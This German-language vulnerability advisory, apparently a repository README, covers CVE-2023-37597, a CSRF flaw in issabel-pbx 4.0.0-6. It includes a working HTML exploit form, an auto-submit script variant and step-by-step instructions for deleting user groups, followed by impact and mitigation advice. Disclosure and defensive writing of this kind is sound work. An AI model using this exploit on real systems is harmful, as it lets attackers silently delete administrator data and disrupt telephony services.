
Issabel-pbx v 4.0.0-6 enthält eine Cross-Site Request Forgery (CSRF)-Sicherheitslücke in der Benutzergruppenverwaltung.
Haftungsausschluss: Dieses Repository dient ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken. Verwenden Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.
issabel-pbx ist eine weit verbreitete Open-Source-Plattform für Unified Communications (PBX), die VoIP-Dienste, Telefonieverwaltung und webbasierte Administration bereitstellt. Version 4.0.0-6 von issabel-pbx enthält eine -Schwachstelle in der Benutzergruppenverwaltung.
Ein nicht authentifizierter entfernter Angreifer kann eine schädliche HTML-Seite erstellen, die, wenn sie von einem authentifizierten Administrator besucht wird, stillschweigend eine gefälschte HTTP-POST-Anfrage zum Löschen einer beliebigen Benutzergruppe sendet. Da die Anwendung die Herkunft von zustandsändernden Anfragen nicht mit CSRF-Tokens oder SameSite-Cookie-Richtlinien validiert, sendet der Browser automatisch das Sitzungscookie des Administrators mit, wodurch die Löschung ohne Wissen oder Zustimmung des Opfers erfolgreich ist.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2023-37597 |
| Schwachstelle | Cross-Site-Request-Forgery (CSRF) |
| CWE | CWE-352 — Cross-Site-Request-Forgery (CSRF) |
| Schweregrad | Mittel |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Betroffene Version | issabel-pbx 4.0.0-6 |
| Offengelegt | 10. Juli 2023 |
| Forscher | Sahil Ojha |
| Feld | Wert |
|---|---|
| Produktname | issabel-pbx |
| Version | 4.0.0-6 |
| Anbieter | Issabel Foundation |
| Anbieterseite | https://www.issabel.org/ |
| Quellcode | https://github.com/IssabelFoundation/issabelPBX |
| Getestet auf | Windows (Burp Suite Community Edition) |
Cross-Site-Request-Forgery (CSRF) ist ein Angriff, bei dem der Browser eines Opfers dazu gebracht wird, eine authentifizierte Anfrage im Namen des Angreifers an eine Zielanwendung zu senden. Der Angriff gelingt, wenn:
Origin/Referer-Validierung, kein SameSite=Strict oder SameSite=Lax-Cookie-Attribut).Der Benutzergruppe löschen-Endpunkt (/index.php?menu=grouplist) in issabel-pbx 4.0.0-6 verarbeitet HTTP-POST-Anfragen, die nur die Aktion delete und einen Parameter id_user enthalten. Die Anwendung führt nicht folgendes durch:
Origin- oder Referer-HTTP-Header.SameSite-Attributs auf Sitzungscookies.Infolgedessen kann jede im Browser des Opfers geladene Webseite das Löschformular stillschweigend unter Verwendung der vorhandenen Sitzung des Opfers absenden, da der Browser automatisch das Sitzungscookie anhängt.
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
Warnung: Der folgende PoC wird ausschließlich zu Bildungszwecken bereitgestellt. Verwenden Sie ihn nur in Laborumgebungen oder Systemen, für die Sie ausdrückliche Autorisierung haben.
Schritt 1 – Melden Sie sich im Issabel-Admin-Panel an
Navigieren Sie zur Benutzergruppenliste und melden Sie sich mit Administrator-Anmeldedaten an.
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

Schritt 2 – Erfassen Sie die Löschanfrage
Versuchen Sie, eine Benutzergruppe zu löschen, während Sie den Datenverkehr durch Burp Suite leiten. Klicken Sie mit der rechten Maustaste auf die erfasste POST-Anfrage und wählen Sie Engagement Tools → Generate CSRF PoC, um das Exploit-HTML-Grundgerüst zu erstellen.

Schritt 3 – Hosting der CSRF-Exploit-Seite
Speichern Sie das generierte HTML als Datei (siehe PoC-Exploit-Code unten). Hosten Sie es auf einem angreiferkontrollierten Server oder senden Sie es direkt an das Opfer.
Schritt 4 – Das Opfer öffnet die Exploit-Seite
Wenn der authentifizierte Administrator die Exploit-URL öffnet oder dorthin umgeleitet wird, wird das versteckte Formular automatisch gesendet (oder das Opfer klickt auf den Köder-Button). Die Zielbenutzergruppe wird aus dem Admin-Panel gelöscht.


Die folgende HTML-Datei (auch verfügbar als CSRF exploit.html) demonstriert den Angriff. Ersetzen Sie {Issabel IP} durch den Zielhost und passen Sie id_user an die zu löschende Gruppen-ID an.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Variante mit automatischem Absenden: Um zu vermeiden, dass das Opfer etwas anklicken muss, fügen Sie Folgendes innerhalb des
<body>-Tags hinzu, sodass das Formular beim Seitenladen automatisch abgesendet wird:<script>document.forms[0].submit();</script>
| Dimension | Beschreibung |
|---|---|
| Integrität | Ein Angreifer kann stillschweigend jede Benutzergruppe aus dem Issabel-Admin-Panel löschen. |
| Verfügbarkeit | Das Löschen von Benutzergruppen stört Anrufweiterleitungsregeln, Zugriffskontrolle und Telefoniedienste für alle Benutzer dieser Gruppen, was einem teilweisen Denial-of-Service gleichkommt. |
| Vertraulichkeit | Nicht direkt von dieser Schwachstelle betroffen. |
Administratoren und Entwickler sollten die folgenden Verteidigungsmaßnahmen anwenden:
Implementieren Sie CSRF-Tokens (Synchronisierer-Token-Muster)
Setzen Sie das SameSite-Cookie-Attribut
SameSite=Lax (mindestens) oder SameSite=Strict, um zu verhindern, dass standortübergreifende Anfragen Sitzungsanmeldeinformationen mitführen.Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnlyValidieren Sie Origin- und Referer-Header
Origin- oder Referer-Header nicht mit der eigenen Domain der Anwendung übereinstimmen.Erneute Authentifizierung für destruktive Aktionen anfordern
Defense-in-Depth anwenden
| Datum | Ereignis |
|---|---|
| 10. Juli 2023 | Schwachstelle von Sahil Ojha entdeckt und dokumentiert |
| 10. Juli 2023 | CVE-2023-37597 zugewiesen |
| 10. Juli 2023 | Öffentliche Offenlegung |
Sahil Ojha Sicherheitsforscher
Wenn Sie diese Forschung nützlich fanden, können Sie das Repository gerne ⭐-starren.